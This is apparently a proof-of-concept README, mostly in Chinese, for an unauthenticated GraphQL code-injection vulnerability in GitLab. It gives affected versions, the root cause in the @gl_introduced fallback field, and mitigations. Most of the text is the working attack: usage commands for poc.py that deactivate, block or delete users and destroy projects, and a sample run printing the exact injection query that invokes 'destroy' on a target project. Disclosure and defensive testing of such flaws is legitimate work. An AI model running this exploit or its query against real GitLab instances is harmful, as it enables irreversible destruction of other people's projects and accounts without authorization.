GitLab GraphQL 层中的未认证远程代码注入,允许攻击者通过单个精心构造的查询修改或删除公共项目和用户数据。无需认证,无需用户交互,无需特殊权限。
| 严重性 | 9.4 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94(对代码生成的控制不当 / 代码注入) |
| 影响版本 | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| 修复版本 | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| 披露时间 | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
该漏洞是一种回退字段代码注入:GraphQL 查询中由攻击者选择的字段名会变成对底层 ActiveRecord 模型(Project、User 等)上任意 public_send 的调用。由于只有在查询同时携带“未来”的 @gl_introduced 指令时才会创建回退字段,因此该指令就是注入原语。
该脚本会尽力进行版本检测(带令牌的 /api/v4/version、/help、/users/sign_in),并报告目标是否处于受影响范围内。
touch payload。存在漏洞的实例会返回 "touch": true;已修补的实例会返回 Field 'touch' doesn't exist on type 'Project'。/api/graphql 内省)中暴露 gl_introduced 指令。已修补的实例可能仍会暴露该指令,因此行为检查具有权威性。python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
破坏性模式(modify、destroy、delete)需要交互式输入 yes 进行确认。
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
已修补实例的响应是一个正常的 GraphQL 验证错误:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
目标必须是公共的(项目可见性为 Public,或者其个人资料可通过 GraphQL 公开解析的用户)。如果父对象为 null,则该方法永远不会被调用。
/api/graphql 的网络访问,或者如果不需要 @gl_introduced 版本过滤功能,请将其禁用。e283c6ad "Prevent calling object method when resolving fallback field"此 PoC 仅供防御性安全研究和授权测试使用。请勿针对你不拥有或未经明确许可进行测试的系统运行。
| 系列 | 受影响版本 | 修复版本 |
|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
| 选项 | 说明 |
|---|
--url | GitLab 基础 URL,例如 https://gitlab.example.com |
--project | 公共项目的完整路径,例如 group/subgroup/project |
--user | 公共用户的用户名,例如 alice |
--mode | check(默认,良性 touch)· modify(用户:deactivate,项目:touch)· destroy · delete · custom |
--method | 用于 --mode custom 的方法名(必须是有效的 GraphQL 名称) |
--token | 可选的 GitLab PRIVATE-TOKEN(版本检测 / 认证) |
--version | 跳过检测,强制指定版本字符串 |
--insecure | 禁用 TLS 证书验证 |